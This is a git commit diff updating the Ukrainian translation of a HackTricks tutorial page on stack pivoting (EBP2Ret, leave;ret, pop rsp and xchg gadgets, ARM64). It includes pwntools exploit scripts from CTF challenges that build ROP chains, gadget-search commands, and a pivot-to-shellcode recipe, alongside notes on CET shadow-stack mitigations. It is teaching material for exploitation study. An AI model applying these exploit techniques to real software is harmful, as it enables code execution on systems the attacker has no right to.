mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/binary-exploitation/stack-overflow/stack-pivoting-ebp2r
This commit is contained in:
		
							parent
							
								
									25f572dd18
								
							
						
					
					
						commit
						aa28167d91
					
				@ -2,61 +2,65 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## Basic Information
 | 
			
		||||
## Основна інформація
 | 
			
		||||
 | 
			
		||||
Ця техніка використовує можливість маніпулювати **Base Pointer (EBP)** для з'єднання виконання кількох функцій через обережне використання регістра EBP та інструкційної послідовності **`leave; ret`**.
 | 
			
		||||
Ця техніка використовує можливість маніпулювати **Base Pointer (EBP/RBP)** для з'єднання виконання кількох функцій через обережне використання вказівника кадру та інструкційної послідовності **`leave; ret`**.
 | 
			
		||||
 | 
			
		||||
Нагадаємо, що **`leave`** в основному означає:
 | 
			
		||||
Нагадаємо, що на x86/x86-64 **`leave`** еквівалентно:
 | 
			
		||||
```
 | 
			
		||||
mov       ebp, esp
 | 
			
		||||
pop       ebp
 | 
			
		||||
mov       rsp, rbp   ; mov esp, ebp on x86
 | 
			
		||||
pop       rbp        ; pop ebp on x86
 | 
			
		||||
ret
 | 
			
		||||
```
 | 
			
		||||
І як **EBP знаходиться в стеку** перед EIP, можливо контролювати його, контролюючи стек.
 | 
			
		||||
І як збережений **EBP/RBP знаходиться в стеку** перед збереженим EIP/RIP, його можна контролювати, контролюючи стек.
 | 
			
		||||
 | 
			
		||||
> Примітки
 | 
			
		||||
> - На 64-бітних системах замініть EBP→RBP та ESP→RSP. Семантика залишається такою ж.
 | 
			
		||||
> - Деякі компілятори пропускають вказівник кадру (див. "EBP може не використовуватися"). У цьому випадку `leave` може не з'явитися, і ця техніка не спрацює.
 | 
			
		||||
 | 
			
		||||
### EBP2Ret
 | 
			
		||||
 | 
			
		||||
Ця техніка особливо корисна, коли ви можете **змінити регістр EBP, але не маєте прямого способу змінити регістр EIP**. Вона використовує поведінку функцій, коли вони закінчують виконання.
 | 
			
		||||
Ця техніка особливо корисна, коли ви можете **змінити збережений EBP/RBP, але не маєте прямого способу змінити EIP/RIP**. Вона використовує поведінку епілогу функції.
 | 
			
		||||
 | 
			
		||||
Якщо під час виконання `fvuln` вам вдасться ввести **фальшивий EBP** у стек, який вказує на область пам'яті, де знаходиться адреса вашого shellcode (плюс 4 байти для врахування операції `pop`), ви можете непрямо контролювати EIP. Коли `fvuln` повертається, ESP встановлюється на це створене місце, а наступна операція `pop` зменшує ESP на 4, **ефективно вказуючи на адресу, збережену атакуючим там.**\
 | 
			
		||||
Зверніть увагу, що вам **потрібно знати 2 адреси**: ту, куди ESP буде йти, де вам потрібно буде записати адресу, на яку вказує ESP.
 | 
			
		||||
Якщо під час виконання `fvuln` вам вдасться впровадити **підроблений EBP** у стек, який вказує на область пам'яті, де знаходиться адреса вашого shellcode/ROP ланцюга (плюс 8 байт на amd64 / 4 байти на x86 для врахування `pop`), ви можете непрямо контролювати RIP. Коли функція повертається, `leave` встановлює RSP на створене місце, а наступний `pop rbp` зменшує RSP, **ефективно вказуючи на адресу, збережену атакуючим там**. Тоді `ret` використовуватиме цю адресу.
 | 
			
		||||
 | 
			
		||||
Зверніть увагу, що вам **потрібно знати 2 адреси**: адресу, куди ESP/RSP буде йти, і значення, збережене за цією адресою, яке `ret` споживатиме.
 | 
			
		||||
 | 
			
		||||
#### Конструкція експлойту
 | 
			
		||||
 | 
			
		||||
Спочатку вам потрібно знати **адресу, куди ви можете записати довільні дані / адреси**. ESP буде вказувати сюди і **виконає перший `ret`**.
 | 
			
		||||
Спочатку вам потрібно знати **адресу, куди ви можете записувати довільні дані/адреси**. RSP буде вказувати сюди і **споживати перший `ret`**.
 | 
			
		||||
 | 
			
		||||
Потім вам потрібно знати адресу, яку використовує `ret`, що **виконає довільний код**. Ви можете використовувати:
 | 
			
		||||
Потім вам потрібно вибрати адресу, яку використовує `ret`, яка **перенаправить виконання**. Ви можете використовувати:
 | 
			
		||||
 | 
			
		||||
- Дійсну [**ONE_GADGET**](https://github.com/david942j/one_gadget) адресу.
 | 
			
		||||
- Адресу **`system()`**, за якою йдуть **4 байти сміття** та адреса `"/bin/sh"` (x86 біт).
 | 
			
		||||
- Адресу **`jump esp;`** гаджета ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)), за яким йде **shellcode** для виконання.
 | 
			
		||||
- Деяку [**ROP**](../rop-return-oriented-programing/index.html) ланцюг
 | 
			
		||||
- Адресу **`system()`**, за якою слідує відповідний повернення та аргументи (на x86: `ret` ціль = `&system`, потім 4 байти сміття, потім `&"/bin/sh"`).
 | 
			
		||||
- Адресу **`jmp esp;`** гаджета ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)), за якою слідує вбудований shellcode.
 | 
			
		||||
- Ланцюг [**ROP**](../rop-return-oriented-programing/index.html), розміщений у записуваній пам'яті.
 | 
			
		||||
 | 
			
		||||
Пам'ятайте, що перед будь-якими з цих адрес у контрольованій частині пам'яті повинно бути **`4` байти** через **`pop`** частину інструкції `leave`. Було б можливо зловживати цими 4B, щоб встановити **другий фальшивий EBP** і продовжити контролювати виконання.
 | 
			
		||||
Пам'ятайте, що перед будь-якими з цих адрес у контрольованій області повинно бути **місце для `pop ebp/rbp`** з `leave` (8B на amd64, 4B на x86). Ви можете зловживати цими байтами, щоб встановити **другий підроблений EBP** і зберегти контроль після повернення першого виклику.
 | 
			
		||||
 | 
			
		||||
#### Off-By-One Exploit
 | 
			
		||||
#### Вразливість Off-By-One
 | 
			
		||||
 | 
			
		||||
Існує специфічний варіант цієї техніки, відомий як "Off-By-One Exploit". Він використовується, коли ви можете **змінити лише найменш значущий байт EBP**. У такому випадку, місце в пам'яті, що зберігає адресу для переходу з **`ret`**, повинно ділити перші три байти з EBP, що дозволяє подібну маніпуляцію з більш обмеженими умовами.\
 | 
			
		||||
Зазвичай змінюється байт 0x00, щоб стрибнути якомога далі.
 | 
			
		||||
Існує варіант, який використовується, коли ви можете **змінити лише найменш значущий байт збереженого EBP/RBP**. У такому випадку місце в пам'яті, що зберігає адресу для переходу з **`ret`**, повинно ділити перші три/п'ять байтів з оригінальним EBP/RBP, щоб 1-байтове перезаписування могло перенаправити його. Зазвичай низький байт (зсув 0x00) збільшується, щоб стрибнути якомога далі в межах сусідньої сторінки/вирівняної області.
 | 
			
		||||
 | 
			
		||||
Також поширено використовувати RET sled у стеку та поміщати реальний ROP ланцюг в кінець, щоб підвищити ймовірність того, що новий ESP вказує всередину RET SLED, і фінальний ROP ланцюг виконується.
 | 
			
		||||
Також поширено використовувати RET сани в стеці та розміщувати реальний ROP ланцюг в кінці, щоб підвищити ймовірність того, що новий RSP вказує всередину сани, і фінальний ROP ланцюг виконується.
 | 
			
		||||
 | 
			
		||||
### **EBP Chaining**
 | 
			
		||||
### Ланцюгування EBP
 | 
			
		||||
 | 
			
		||||
Отже, поміщаючи контрольовану адресу в запис EBP стека та адресу для `leave; ret` в EIP, можливо **перемістити `ESP` на контрольовану адресу EBP зі стека**.
 | 
			
		||||
Розміщуючи контрольовану адресу в збереженому слоті `EBP` стека та гаджет `leave; ret` в `EIP/RIP`, можна **перемістити `ESP/RSP` на адресу, контрольовану атакуючим**.
 | 
			
		||||
 | 
			
		||||
Тепер **`ESP`** контролюється, вказуючи на бажану адресу, а наступна інструкція для виконання - це `RET`. Щоб зловживати цим, можливо помістити в контрольоване місце ESP наступне:
 | 
			
		||||
Тепер `RSP` контролюється, і наступна інструкція - `ret`. Розмістіть у контрольованій пам'яті щось на зразок:
 | 
			
		||||
 | 
			
		||||
- **`&(next fake EBP)`** -> Завантажити новий EBP через `pop ebp` з інструкції `leave`
 | 
			
		||||
- **`system()`** -> Викликаний через `ret`
 | 
			
		||||
- **`&(leave;ret)`** -> Викликаний після завершення системи, він перемістить ESP на фальшивий EBP і почне знову
 | 
			
		||||
- **`&("/bin/sh")`**-> Параметр для `system`
 | 
			
		||||
- `&(наступний підроблений EBP)` -> Завантажується `pop ebp/rbp` з `leave`.
 | 
			
		||||
- `&system()` -> Викликається `ret`.
 | 
			
		||||
- `&(leave;ret)` -> Після завершення `system` переміщує RSP до наступного підробленого EBP і продовжує.
 | 
			
		||||
- `&("/bin/sh")` -> Аргумент для `system`.
 | 
			
		||||
 | 
			
		||||
В основному, таким чином можливо з'єднати кілька фальшивих EBP для контролю потоку програми.
 | 
			
		||||
Таким чином, можливо з'єднати кілька підроблених EBP для контролю потоку програми.
 | 
			
		||||
 | 
			
		||||
Це схоже на [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), але складніше без очевидної вигоди, але може бути цікавим у деяких крайніх випадках.
 | 
			
		||||
Це схоже на [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), але складніше і корисне лише в крайніх випадках.
 | 
			
		||||
 | 
			
		||||
Більше того, ось вам [**приклад завдання**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), яке використовує цю техніку з **витоком стека**, щоб викликати виграшну функцію. Це фінальний payload зі сторінки:
 | 
			
		||||
Більше того, тут у вас є [**приклад виклику**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), який використовує цю техніку з **витоком стека**, щоб викликати виграшну функцію. Це фінальний payload зі сторінки:
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -72,7 +76,7 @@ POP_RDI = 0x40122b
 | 
			
		||||
POP_RSI_R15 = 0x401229
 | 
			
		||||
 | 
			
		||||
payload = flat(
 | 
			
		||||
0x0,               # rbp (could be the address of anoter fake RBP)
 | 
			
		||||
0x0,               # rbp (could be the address of another fake RBP)
 | 
			
		||||
POP_RDI,
 | 
			
		||||
0xdeadbeef,
 | 
			
		||||
POP_RSI_R15,
 | 
			
		||||
@ -81,23 +85,24 @@ POP_RSI_R15,
 | 
			
		||||
elf.sym['winner']
 | 
			
		||||
)
 | 
			
		||||
 | 
			
		||||
payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)
 | 
			
		||||
payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)
 | 
			
		||||
 | 
			
		||||
payload += flat(
 | 
			
		||||
buffer,         # Load leak address in RBP
 | 
			
		||||
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
 | 
			
		||||
buffer,         # Load leaked address in RBP
 | 
			
		||||
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
 | 
			
		||||
)
 | 
			
		||||
 | 
			
		||||
pause()
 | 
			
		||||
p.sendline(payload)
 | 
			
		||||
print(p.recvline())
 | 
			
		||||
```
 | 
			
		||||
## EBP може не використовуватись
 | 
			
		||||
> amd64 вирівнювання поради: System V ABI вимагає вирівнювання стеку на 16 байт у точках виклику. Якщо ваш ланцюг викликає функції, такі як `system`, додайте гаджет вирівнювання (наприклад, `ret`, або `sub rsp, 8 ; ret`) перед викликом, щоб підтримувати вирівнювання і уникнути аварій `movaps`.
 | 
			
		||||
 | 
			
		||||
Як [**пояснено в цьому пості**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), якщо бінарний файл скомпільовано з деякими оптимізаціями, **EBP ніколи не контролює ESP**, отже, будь-який експлойт, що працює шляхом контролю EBP, в основному зазнає невдачі, оскільки не має жодного реального ефекту.\
 | 
			
		||||
Це пов'язано з тим, що **пролог і епілог змінюються**, якщо бінарний файл оптимізовано.
 | 
			
		||||
## EBP може не використовуватися
 | 
			
		||||
 | 
			
		||||
- **Не оптимізовано:**
 | 
			
		||||
Як [**пояснено в цьому пості**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), якщо бінарний файл скомпільовано з деякими оптимізаціями або з пропуском вказівника кадру, **EBP/RBP ніколи не контролює ESP/RSP**. Тому будь-який експлойт, що працює шляхом контролю EBP/RBP, зазнає невдачі, оскільки пролог/епілог не відновлює з вказівника кадру.
 | 
			
		||||
 | 
			
		||||
- Не оптимізовано / використовується вказівник кадру:
 | 
			
		||||
```bash
 | 
			
		||||
push   %ebp         # save ebp
 | 
			
		||||
mov    %esp,%ebp    # set new ebp
 | 
			
		||||
@ -108,22 +113,24 @@ sub    $0x100,%esp  # increase stack size
 | 
			
		||||
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
 | 
			
		||||
ret                 # return
 | 
			
		||||
```
 | 
			
		||||
- **Оптимізовано:**
 | 
			
		||||
- Оптимізовано / вказівник кадру пропущено:
 | 
			
		||||
```bash
 | 
			
		||||
push   %ebx         # save ebx
 | 
			
		||||
push   %ebx         # save callee-saved register
 | 
			
		||||
sub    $0x100,%esp  # increase stack size
 | 
			
		||||
.
 | 
			
		||||
.
 | 
			
		||||
.
 | 
			
		||||
add    $0x10c,%esp  # reduce stack size
 | 
			
		||||
pop    %ebx         # restore ebx
 | 
			
		||||
pop    %ebx         # restore
 | 
			
		||||
ret                 # return
 | 
			
		||||
```
 | 
			
		||||
На amd64 ви часто побачите `pop rbp ; ret` замість `leave ; ret`, але якщо вказівник кадру зовсім відсутній, тоді немає епілогу на основі `rbp`, через який можна було б здійснити півотування.
 | 
			
		||||
 | 
			
		||||
## Інші способи контролю RSP
 | 
			
		||||
 | 
			
		||||
### **`pop rsp`** гаджет
 | 
			
		||||
### Гаджет `pop rsp`
 | 
			
		||||
 | 
			
		||||
[**На цій сторінці**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) ви можете знайти приклад використання цієї техніки. Для цього завдання потрібно було викликати функцію з 2 специфічними аргументами, і був **`pop rsp` гаджет** та є **leak з стеку**:
 | 
			
		||||
[**На цій сторінці**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) ви можете знайти приклад використання цієї техніки. Для цього завдання потрібно було викликати функцію з 2 специфічними аргументами, і там був **гаджет `pop rsp`** і є **leak з стеку**:
 | 
			
		||||
```python
 | 
			
		||||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
 | 
			
		||||
# This version has added comments
 | 
			
		||||
@ -167,7 +174,7 @@ pause()
 | 
			
		||||
p.sendline(payload)
 | 
			
		||||
print(p.recvline())
 | 
			
		||||
```
 | 
			
		||||
### xchg \<reg>, rsp gadget
 | 
			
		||||
### xchg <reg>, rsp gadget
 | 
			
		||||
```
 | 
			
		||||
pop <reg>                <=== return pointer
 | 
			
		||||
<reg value>
 | 
			
		||||
@ -181,20 +188,67 @@ xchg <reg>, rsp
 | 
			
		||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
## Посилання та інші приклади
 | 
			
		||||
### Швидке знаходження півотних гаджетів
 | 
			
		||||
 | 
			
		||||
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
 | 
			
		||||
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
 | 
			
		||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
 | 
			
		||||
- 64 біти, експлуатація off by one з ланцюгом rop, що починається з ret sled
 | 
			
		||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
 | 
			
		||||
- 64 біти, без relro, canary, nx і pie. Програма надає leak для стеку або pie і WWW для qword. Спочатку отримайте leak стеку і використайте WWW, щоб повернутися і отримати leak pie. Потім використайте WWW, щоб створити вічний цикл, зловживаючи записами `.fini_array` + викликом `__libc_csu_fini` ([більше інформації тут](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Зловживаючи цим "вічним" записом, записується ROP-ланцюг у .bss і в кінці викликається, підіймаючись з RBP.
 | 
			
		||||
Використовуйте свій улюблений пошуковик гаджетів для пошуку класичних півотних примітивів:
 | 
			
		||||
 | 
			
		||||
- `leave ; ret` у функціях або в бібліотеках
 | 
			
		||||
- `pop rsp` / `xchg rax, rsp ; ret`
 | 
			
		||||
- `add rsp, <imm> ; ret` (або `add esp, <imm> ; ret` на x86)
 | 
			
		||||
 | 
			
		||||
Приклади:
 | 
			
		||||
```bash
 | 
			
		||||
# Ropper
 | 
			
		||||
ropper --file ./vuln --search "leave; ret"
 | 
			
		||||
ropper --file ./vuln --search "pop rsp"
 | 
			
		||||
ropper --file ./vuln --search "xchg rax, rsp ; ret"
 | 
			
		||||
 | 
			
		||||
# ROPgadget
 | 
			
		||||
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
 | 
			
		||||
```
 | 
			
		||||
### Класичний шаблон півотування
 | 
			
		||||
 | 
			
		||||
Надійна стратегія півотування, що використовується в багатьох CTF/експлойтах:
 | 
			
		||||
 | 
			
		||||
1) Використовуйте невеликий початковий переповненіє, щоб викликати `read`/`recv` у великій записуваній області (наприклад, `.bss`, купа або відображена RW пам'ять) і розмістіть там повний ROP ланцюг.
 | 
			
		||||
2) Поверніться до півотного гаджета (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`), щоб перемістити RSP до цієї області.
 | 
			
		||||
3) Продовжте з підготовленим ланцюгом (наприклад, витік libc, виклик `mprotect`, потім `read` shellcode, потім перехід до нього).
 | 
			
		||||
 | 
			
		||||
## Сучасні заходи, які порушують півотування стеку (CET/Shadow Stack)
 | 
			
		||||
 | 
			
		||||
Сучасні процесори x86 та операційні системи все частіше впроваджують **CET Shadow Stack (SHSTK)**. При ввімкненому SHSTK, `ret` порівнює адресу повернення на звичайному стеку з апаратно захищеним тіньовим стеком; будь-яка невідповідність викликає помилку контролю захисту і завершує процес. Тому техніки, такі як EBP2Ret/leave;ret-орієнтовані півоти, зламаються, як тільки виконується перший `ret` з півотованого стеку.
 | 
			
		||||
 | 
			
		||||
- Для фону та детальнішої інформації дивіться:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
- Швидкі перевірки на Linux:
 | 
			
		||||
```bash
 | 
			
		||||
# 1) Is the binary/toolchain CET-marked?
 | 
			
		||||
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
 | 
			
		||||
 | 
			
		||||
# 2) Is the CPU/kernel capable?
 | 
			
		||||
grep -E 'user_shstk|ibt' /proc/cpuinfo
 | 
			
		||||
 | 
			
		||||
# 3) Is SHSTK active for this process?
 | 
			
		||||
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)
 | 
			
		||||
 | 
			
		||||
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
 | 
			
		||||
(gdb) checksec
 | 
			
		||||
```
 | 
			
		||||
- Примітки для лабораторій/CTF:
 | 
			
		||||
- Деякі сучасні дистрибутиви активують SHSTK для бінарників з увімкненим CET, коли є підтримка апаратного забезпечення та glibc. Для контрольованого тестування у ВМ SHSTK можна вимкнути на системному рівні за допомогою параметра завантаження ядра `nousershstk`, або вибірково активувати через налаштування glibc під час запуску (див. посилання). Не вимикайте пом'якшення на продуктивних цілях.
 | 
			
		||||
- Техніки на основі JOP/COOP або SROP можуть залишатися життєздатними на деяких цілях, але SHSTK спеціально порушує `ret`-базовані піводи.
 | 
			
		||||
 | 
			
		||||
- Примітка для Windows: Windows 10+ відкриває режим користувача, а Windows 11 додає режим ядра "Aпаратно забезпечений захист стеку", побудований на тіньових стеках. Процеси, сумісні з CET, запобігають піводам стеку/ROP на `ret`; розробники можуть включити це через CETCOMPAT та пов'язані політики (див. посилання).
 | 
			
		||||
 | 
			
		||||
## ARM64
 | 
			
		||||
 | 
			
		||||
В ARM64, **пролог і епілог** функцій **не зберігають і не відновлюють реєстр SP** у стеку. Більше того, **інструкція `RET`** не повертає за адресою, на яку вказує SP, а **за адресою всередині `x30`**.
 | 
			
		||||
В ARM64 **пролог і епілог** функцій **не зберігають і не відновлюють регістр SP** у стеку. Більше того, інструкція **`RET`** не повертає за адресою, вказаною SP, а **за адресою всередині `x30`**.
 | 
			
		||||
 | 
			
		||||
Отже, за замовчуванням, просто зловживаючи епілогом, ви **не зможете контролювати реєстр SP**, переписуючи деякі дані всередині стеку. І навіть якщо вам вдасться контролювати SP, вам все ще знадобиться спосіб **контролювати реєстр `x30`**.
 | 
			
		||||
Отже, за замовчуванням, просто зловживаючи епілогом, ви **не зможете контролювати регістр SP**, переписуючи деякі дані всередині стека. І навіть якщо вам вдасться контролювати SP, вам все ще знадобиться спосіб **контролювати регістр `x30`**.
 | 
			
		||||
 | 
			
		||||
- пролог
 | 
			
		||||
 | 
			
		||||
@ -212,8 +266,8 @@ add sp, sp, 16
 | 
			
		||||
ret
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
> [!УВАГА]
 | 
			
		||||
> Спосіб виконати щось подібне до стекового підіймання в ARM64 полягатиме в тому, щоб мати можливість **контролювати `SP`** (контролюючи якийсь реєстр, значення якого передається до `SP`, або через те, що з якоїсь причини `SP` бере свою адресу зі стеку, і у нас є переповнення) і потім **зловживати епілогом**, щоб завантажити **реєстр `x30`** з **контрольованого `SP`** і **`RET`** до нього.
 | 
			
		||||
> [!CAUTION]
 | 
			
		||||
> Спосіб виконати щось подібне до піводів стеку в ARM64 полягатиме в тому, щоб мати можливість **контролювати `SP`** (контролюючи якийсь регістр, значення якого передається до `SP`, або через те, що з якоїсь причини `SP` отримує свою адресу зі стека, і у нас є переповнення) і потім **зловживати епілогом**, щоб завантажити регістр **`x30`** з **контрольованого `SP`** і **`RET`** до нього.
 | 
			
		||||
 | 
			
		||||
Також на наступній сторінці ви можете побачити еквівалент **Ret2esp в ARM64**:
 | 
			
		||||
 | 
			
		||||
@ -221,4 +275,15 @@ ret
 | 
			
		||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
## Посилання
 | 
			
		||||
 | 
			
		||||
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
 | 
			
		||||
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
 | 
			
		||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
 | 
			
		||||
- 64 біти, експлуатація off by one з ланцюгом rop, що починається з ret sled
 | 
			
		||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
 | 
			
		||||
- 64 біти, без relro, canary, nx і pie. Програма надає leak для стеку або pie і WWW для qword. Спочатку отримайте leak стека і використовуйте WWW, щоб повернутися і отримати leak pie. Потім використовуйте WWW, щоб створити вічний цикл, зловживаючи записами `.fini_array` + викликом `__libc_csu_fini` ([більше інформації тут](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Зловживаючи цим "вічним" записом, в .bss записується ланцюг ROP, і в кінці викликається, піводячи з RBP.
 | 
			
		||||
- Документація ядра Linux: Технологія забезпечення контролю потоку (CET) Тіньовий стек — деталі про SHSTK, `nousershstk`, прапори `/proc/$PID/status` та активацію через `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
 | 
			
		||||
- Microsoft Learn: Апаратно забезпечений захист стеку в режимі ядра (тіньові стеки CET у Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user